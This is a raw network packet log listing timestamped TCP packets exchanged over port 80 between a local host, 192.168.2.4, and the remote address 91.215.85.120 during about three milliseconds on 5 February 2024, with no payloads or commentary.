Feb 5, 2024 10:57:22.234750986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234752893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234764099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234776974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234778881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234788895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234800100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234812021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234812975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234824896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234838009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234838963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234850883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234859943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234863997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234874010 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234878063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234906912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.234954119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234966993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234977007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234988928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.234999895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235002041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235023975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235028982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235037088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235038996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235049963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235060930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235071898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235088110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235088110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235102892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235106945 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235116005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235130072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235141993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235141993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235153913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235160112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235172033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235177040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235183954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235198975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235210896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235212088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235224009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235234022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235244036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235244989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235255957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235268116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235272884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235280991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235291004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235296011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235307932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235312939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235320091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235331059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235336065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235344887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235357046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235363960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235369921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235382080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235390902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235395908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235408068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235418081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235419035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235426903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235431910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235445976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235455990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235456944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235469103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235481024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235481977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235493898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235505104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235515118 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235516071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235527992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235539913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235541105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235551119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235553980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235565901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235579014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235580921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235591888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235605001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235605001 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235619068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235630035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235639095 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235641956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235654116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235667944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235670090 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235678911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235681057 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235692024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235704899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235713005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235718966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235733986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235734940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235747099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235759020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235768080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235769033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235780954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235793114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235800982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235805988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235817909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235817909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235830069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235837936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235843897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235856056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235861063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235869884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235882998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235891104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235897064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235904932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235910892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235923052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235934019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235941887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235943079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235953093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235965967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235975981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.235982895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.235987902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236001015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236002922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236013889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236026049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236033916 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236037970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236048937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236058950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236059904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236072063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236083984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236084938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236095905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236100912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236109018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236119986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236124039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236134052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236145973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236156940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236160040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236170053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236181974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236183882 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236193895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236205101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236206055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236218929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236231089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236231089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236243963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236257076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236262083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236269951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236273050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236282110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236293077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236294985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236304045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236316919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236325026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236327887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236336946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236341000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236352921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236363888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236366987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236377001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236390114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236391068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236402988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236414909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236424923 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236428976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236440897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236449003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236453056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236464024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236473083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236478090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236490965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236498117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236505032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236517906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236529112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236531019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236542940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236553907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236560106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236567020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236576080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236578941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236588955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236593008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236604929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236615896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236617088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236628056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236640930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236641884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236654997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236665964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236675024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236679077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236690998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236694098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236705065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236717939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236720085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236731052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236753941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236776114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236783981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236795902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236807108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236820936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236831903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236835003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236844063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236855984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236857891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236867905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236879110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236884117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236892939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236903906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236908913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236917019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236927032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236932993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236939907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236951113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236955881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236964941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236975908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.236979961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.236989021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237001896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237008095 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237014055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237031937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237046003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237050056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237061977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237072945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237083912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237093925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237108946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237113953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237131119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237142086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237148046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237160921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237162113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237171888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237184048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237190962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237195015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237207890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237215042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237220049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237232924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237237930 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237246037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237258911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237258911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237272978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237286091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237291098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237299919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237310886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237313986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237327099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237339020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237344980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237353086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237366915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237368107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237380028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237392902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237395048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237406969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237417936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237417936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237430096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237442017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237452984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237458944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237473011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237476110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237484932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237495899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237497091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237508059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237519979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237520933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237533092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237544060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237555981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237555981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237567902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237581015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237584114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237592936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237593889 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237606049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237617970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237623930 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237631083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237642050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237653017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237653971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237664938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237668037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237678051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237692118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237704039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237704039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.237715006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.237725973 CET	49735	80	192.168.2.4	91.215.85.120
